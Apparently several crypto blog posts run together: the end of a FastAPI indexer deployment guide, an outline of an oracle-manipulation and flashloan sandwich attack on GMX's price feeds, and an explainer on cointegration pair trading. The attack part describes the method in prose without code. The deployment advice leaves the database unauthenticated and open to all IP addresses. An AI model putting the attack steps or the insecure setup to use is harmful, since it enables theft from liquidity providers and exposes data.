💡 a function with async is a coroutine. it can be paused internally, allowing the program to execute in increments (and suspending or resuming execution).

the first step to deploy our api is to create an app and call it with uvicorn (an asynchronous server gateway interface web server implementation for python):

uvicorn.run("src.server.api:app", host=HOST, port=PORT, reload=True):

then, we define the api routes:

💡 futures represent the result of a task that may or may not have been executed.

and, finally, the database model methods:

🦅 testing the api

to spin up the api locally, run indexer -a and open http://0. 0.0.0:80 in your browser. you should see this:

if you open http://0. 0.0.0:80/docs, you should see this:

you can test this api through the browser, using curl, or with the indexer cli.

for instance, fetching a wallet’s balance:

> indexer -b 0xe9f3bcdfa00f040bb5436601a476f780bb5af16a

ℹ️ {'result': [{'wallet': '0xe9f3bcdfa00f040bb5436601a476f780bb5af16a', 'balance': 10227.977269319452}]}

or fetching top 100 token holders:

> indexer -t

ℹ️ {"result":[{"wallet":"0xf894fea045eccb2927e2e0cb15c12debee9f2be8","balance":8304434869.4720545},{"wallet":"0xc96f20099d96b37d7ede66ff9e4de59b9b1065b1","balance":6250026548.525733},{"wallet":"0x563b1ae9717e9133b0c70d073c931368e1bd86e5","balance":3631605454.7259746},
(...)

🦅 deployment to production

we can now deploy the api in the cloud using vercel , while utilizing mongodb’s atlas for mongo.

mongodb atlas

create an account and a database, then upload the data:

next add the MONGODB_URL to .env:

MONGDB_URI="mongodb+srv://<username>:<password>@<url>/<db>?retryWrites=true&w=majority"

since the instance will be short-lived (only to illustrate this project), we won’t bother with authentication. however, if you are adapting this project for a production api, you want to look at adding jwt authentication into your fastapi (or some alternative auth method).

another detail is atlas’ ip addresses access list, which for this project, we will allow access to 0.0.0.0/0 (so vercel can access).

vercel

to deploy to vercel, add a .vercel config file to ./:

{
  "builds": [
    {"src": "/src/api.py", "use": "@vercel/python"}
  ],
  "routes": [
    {"src": "/(.*)", "dest": "src/api.py"}
  ]
}

then run:

> vercel login
> vercel .

inside the vercel project’s setting, upload all env variables:

and voilà:

◻️ motherofbots.eth

the strategy

today i go over a hypothetically profitable strategy that runs an oracle manipulation attack on GMX.

for my previous two bots, cointbot and cowsol, i provided a complete and original production-level strategy and source-code. for this one, i will only supply the idea.

the status quo

this vulnerability is not new, and whoever is following the space closely is probably pretty aware of it. last year, there was some conversation about adding a twamm mechanism to the fast price feed (i will tell you what this feed is below).

i will leave it open to you to verify whether this strategy works (for example, by simulating against past data).

on gray-hat hacking

market manipulation is illegal but openly talking about risks is healthy and helps the space to progress (in any case, of course i am not responsible for anything you do with my free code or ideas).

all right, here goes the manipoolator…

🎶 today’s mood

https://open.spotify.com/track/14LTdOYKE4A2MD710yWvco?si=daa8f2ac53e94110

🔮 gmx for the uninformed

“gmx offers zero slippage on trades via an oracle price update system (chainlink + aggregate of prices from leading volume exchanges), while amms rely on arb bots to balance prices in the pools”

the exchange

gmx is a decentralized spot and perpetual futures exchange built on arbitrum and avalanche chains.

it exploded after the ftx fall, and just this week, it seems to have become the top defi project on fee profit, and one of the top projects by fee and revenue in defillama. they are winning by offering perks such as no slippage, low swap fees, and zero price impact trades (i.e., large trades are set at the mark price).

the price feed

gmx’s swap trades are performed based on a combination of two oracles:

• the primary oracle is fed by chainlink, and it takes the last three samples (picking the worst price for the user).

• the secondary oracle is the “fast price feed”, which overrides the price whenever it is within 2.5% of the primary oracle price value.

gml vault

gmx enables traders to open up to 50x leverage swaps for long or short positions by borrowing from glp, a multi-asset pool containing $btc, $eth, $uni, $link, and stablecoins. the vault allows swapping of the tokens it holds.

funds are deposited into the vault by minting glp tokens and can be withdrawn by burning these tokens.

glp works as the counterparty in the protocol, as it accrues values when traders loses, and devalues when traders win.

glp is also emerging as a form of collateral, with lending protocols integrating this liquidity provider token into their product offerings (e.g., rage, unami, sentiment).

$gmx

gmx’s native token, $gmx, functions as a governance, utility, and value-accrual token. glp accrues 70% of all trading fees, while stakers of gmx earn 30%.

a floor price fund helps ensure liquidity in the glp pool, plus a reliable stream of $eth rewards for $gmx stakers.

protocol fees

the protocol's revenues come from swap fees, trading fees, execution fees, liquidation fees, and borrow fees.

fees are set in the vault’s contract:

liquidations

gmx’s keepers can liquidate a position if the position reduces to a point at which the collateral minus losses minus borrow fee becomes less than 1% of position's size.

protocol contracts

the gmx protocol is composed of the following parts:

1. the vault contracts handle trading functions and deposits of usd to glp (named usdg). it includes the price feeds contracts, which handle the two price feed oracles.

2. the router contract implements convenient functions on top of the vault. it’s also used to help mitigate frontrunning attacks through a two-step transaction process.

3. the gmx governance contracts and the glp liquidity provider contracts, are regular erc20 tokens utilized by the protocol.

for the strategy, we will be looking at the first.

🔮 the vault and price contracts

the main vault contract is Vault.sol (on arbitrum and avalanche) and is used to handle gmx’s trading functions.

here is a list of the external and public methods:

• swap(address _tokenIn, address _tokenOut, address _receiver)

• getMaxPrice(_token)

• getMinPrice(_token)

• buyUSDG(address _token, address _receiver)

• sellUSDG(address _token, address _receiver)

• directPoolDeposit(address _token)

• increasePosition(address _account, address _collateralToken, address _indexToken, uint256 _sizeDelta, bool _isLong)

• decreasePosition(address _account, address _collateralToken, address _indexToken, uint256 _collateralDelta, uint256 _sizeDelta, bool _isLong, address _receiver)

• liquidatePosition(address _account, address _collateralToken, address _indexToken, bool _isLong, address _feeReceiver)

• validateLiquidation( _account, _collateralToken, _indexToken, _isLong, _raise)

• getRedemptionAmount(_token, _usdgAmount)

• getRedemptionCollateral(_token)

• getRedemptionCollateralUsd(_token)

• tokenToUsdMin(_token, _tokenAmount)

• usdToTokenMax(_token, _usdAmount)

• usdToTokenMin(_token, _usdAmount)

• usdToToken(_token, _usdAmount, _price)

• getPosition(_account, _collateralToken, _indexToken, _isLong)

• getPositionLeverage(_account, _collateralToken, _indexToken, _isLong)

• getUtilisation(_token)

• getNextAveragePrice(_indexToken, _size, _averagePrice, _isLong, _nextPrice, _sizeDelta, _lastIncreasedTime)

• getNextGlobalShortAveragePrice(_indexToken, _nextPrice, _sizeDelta)

• getGlobalShortDelta(_token)

• getPositionDelta(_account, _collateralToken, _indexToken, _isLong)

• getDelta(_indexToken, _size, _averagePrice, _isLong, _lastIncreasedTime)

• getEntryFundingRate(_collateralToken, _indexToken, _isLong)

• getFundingFee(_account, _collateralToken, _indexToken, _isLong, _size, _entryFundingRate)

• getPositionFee(_account, _collateralToken, _indexToken, _isLong, _sizeDelta)

• getTargetUsdgAmount(_token)

the one we are interested in is swap().

❓how does swapping asset work

❓how does it know _tokenIn and _tokenOut prices, so it can send the correct amount to _receiver

assets are swapped by the prices given by priceIn calling getMinPrice(_tokenin) and priceOut calling getMaxPrice(_tokenOut):

nice, we are hitting the price methods.

remember that the price feed contracts implement a primary price mechanism that samples the three last chainlink oracle values and picks the worst for the trade. from gmx’s docs:

The vault uses the price from the keeper if it is within a configured percentage of the corresponding Chainlink price. If the price exceeds this threshold, then a spread would be created between the bounded price and the Chainlink price, this threshold is based on the historical max deviation of the Chainlink price from the median price of reference exchanges. For example, if the max deviation is 2.5% and the price of the token on Chainlink is $100, if the keeper price is $103, then the pricing on the vault would be $100 to $103.

so, this primary price mechanism is overridden when the secondary (fast feed) is enabled and the price is within a 2.5% range. this also gives a different price depending on the direction (it has lower chances of being > than an amm).

let’s check how the snippet above calls getPrice(), which is implemented by the vault contract for the price feed, VaultPriceFeed.sol:

we see two options to get the asset’s price.

when useV2Pricing() is set to false (like here), getPriceV2() is fired:

here is where the fun starts.

while the first price mechanism, getPrimaryPrice() simply calls chainlink:

isAmmEnabled is usually set to true (it’s false in liquidation cases), so gmx’s prices are pretty much coming from getAmmPriceV2() and then getAmmPrice():

yes, this is our good ol’ x*y=k price amm,

this amm could be vulnerable to manipulating markets. in other words, updates of gmx’s secondary oracle could, in theory, be sandwiched.

because of the way swap() is called and the fact that gmx does not implement slippage, many arbs between gmx and secondary markets could be done until they are at the same price (or until a particular delta market is obtained).

💡 In the context of trading, delta (Δ) is a risk metric that estimates the change in the price of a derivative, given a $1 change in its underlying security. The delta also tells the hedging ratio to become delta neutral (more).

in theory, a secondary market with enough liquidity could allow our manipoolator to drain all the liquidity of gmx (well, proportional to the slippage of this secondary market):

gain = gmx_price / (secondary_market_price * gmx_liquidity)

now think about that 50x leverage. it could mean 150% gain on the initial position.

🔮 manipoolator as a sandwichor in avalanche

arbitrum runs on a centralized and ill-documented sequencers, so it does not have a public mempool. to get the right block timing, our manipoolator would have to run a strategy based on trial & error (while praying for fss not to be implemented soon).

but a sandwich attack could be possible on avalanche (here is a cool mev story on avalanche c-chain).

manipoolator would take advantage of pricing updates for the assets in the glp vault. it could search the mempool for large updates through txs containing SetPrices() or when the fast price feed is updated (e.g., when keepers send txs to execute it).

(btw, PriceFeed.sol is the contract that accepts submissions from the price feed keeper, using the median price of binance, bitfinex, and coinbase)

at that point, manipoolator could

1. frontrun the tx to execute the order with a flashloan, buying an asset before the prices increases,

2. close its position right after the price change, and

3. profit the delta (after paying the opening-position-margin-funding-rate-closing-position-margin fees).

something like this:

🔮 manipulating manipoolator

🤔 we are not even talking about multiple pools or cross-chain yet… infinite possibilities?

🤔 would increasing trading fees lower the chances of an oracle manipulation attack (at least during large volatility)? but then, would gmx stop “winning”?

🤔 would trying to prevent blocks with more than two SetPrices() txs help avoid sandwich attacks? yeah, but how?

🤔 or, in a different direction, what if the prices of the secondary markets could be manipulated to make them equal to the primary oracle, undermining the second oracle? what would that mean?

🤔 would manipoolator try to remain stealthy, or would it go all in during a volatile event?

🔮 irl

there have been some reports of exploitation of the gmx’s oracles last year, with somehow similar ideas described in this post.

one of the shenanigans was that while the gmx team runs keepers to update prices by making calls to SetPriceWithBit(), mev operators could observe these price updates in the mempool before they are on-chain.

https://twitter.com/joshua_j_lim/status/1571554171395923968?s=20&t=bLhokqUbLtWaOps04GJgwA

https://twitter.com/ChainsightLabs/status/1580208615654584321?s=20&t=0fbE1f5XfD8b-l0zzRmQow

https://twitter.com/wilburforce_/status/1571891338097860608

on another note, during a major update regarding synths, gmx added a new oracle called xget with frontrunning protection:

https://twitter.com/Kalcrypto1/status/1576977723016085505?s=20&t=NLpve9weGE_Dnoxit-NQ0A

◻️ motherofbots.eth

today i go over a CLI tool and a set of trading bots that i’ve written to detect profitable cryptocurrency pairs to be shorted or longed on trading exchanges.

these statistical algorithmic strategies are named cointegration, which has been around for a long time, for either traditional or decentralized finances.

🎶 today’s mood

https://open.spotify.com/track/1tDWVeCR9oWGX8d5J9rswk?si=8ba65b4175ac4e1f

🧘🏻‍♀️✨ cointegration strategy for pair trading

pair trading is a classic example of a strategy based on mathematical analysis.

put it simply, when two or more non-stationary series can be combined to make a stationary series, they are said to be cointegrated.

in other words, this strategy allows you to find evidence of an underlying economic link for a pair of securities (say, A and B) within a timeframe. it also allows you to mathematically model this link, so that you can make trades on it.

💡 a series are said to be stationary when the parameters of the data-generating process do not change over time.

modeling a pair of securities with math

let’s take two random crypto assets, say, A and B futures. let’s model each of their returns by drawing their normal distributions (aka the bell curve).

💡 crypto derivatives are financial contracts that derive their values from underlying assets. futures are financial contracts that bet on a cryptocurrency's future price, allowing exposure without purchasing.

if these two series are cointegrated, there exists some linear combination between them varying around a mean. in other words, their combination should be related to the same probability distribution.

the beauty of p-values

correlation and cointegration are similar but not the same. for example, correlated series could just diverge together without being cointegrated.

how do we infer cointegration? we do like the scientists do.

a p-value is the probability of obtaining results at least as extreme as the results of a hypothesis test, assuming that the null hypothesis is correct.

a p-value of 0.05 or lower is generally considered statistically significant.

cointegrated series can show very small p-values but still not be correlated.

the trick of pair trading

the coefficients that define stationary combinations of two series are called hedge ratios. in practical terms, the hedge ratio describes the suggested amount of B to buy or sell for every of A.

because both securities drift towards and apart from each other, sometimes the distance is high, and sometimes the distance is low.

the magick comes from maintaining a hedged position across A and B. if both go down or up, you neither make nor lose money. profit comes from the spread of them reverting to the mean:

• when A and B are far apart, you short B and long A: when the spread is small, you expect it to become larger.

• when A and B are close, you long B and short A: when the spread is large, you expect it to become larger.

spread and z-score

we apply a linear regression to calculate the spread of these two series, which is simply defined by:

spread = first series - (hedge ratio * second series)  

this gives us that linear combination coefficient, the hedge ratio (this is known as the engle-granger method).

however, the spread does not give you an immediate signal for trading. the signal still needs to be normalized so it can be treated as a z-score, which is the number of standard deviations separating the current price from the mean price.

traders can look at the momentum of the average z-score and takes a contrarian approach to trade, to generate buy and sell signals. graphically, positive z-scores lie to the right of the mean, and negative z-scores lie to the left of the mean.

here is an example of a strategy:

• whenever the z-score < -1, you long the spread.

• whenever the z-score > 1, you short the spread.

• exit positions when the z-score ~ 0.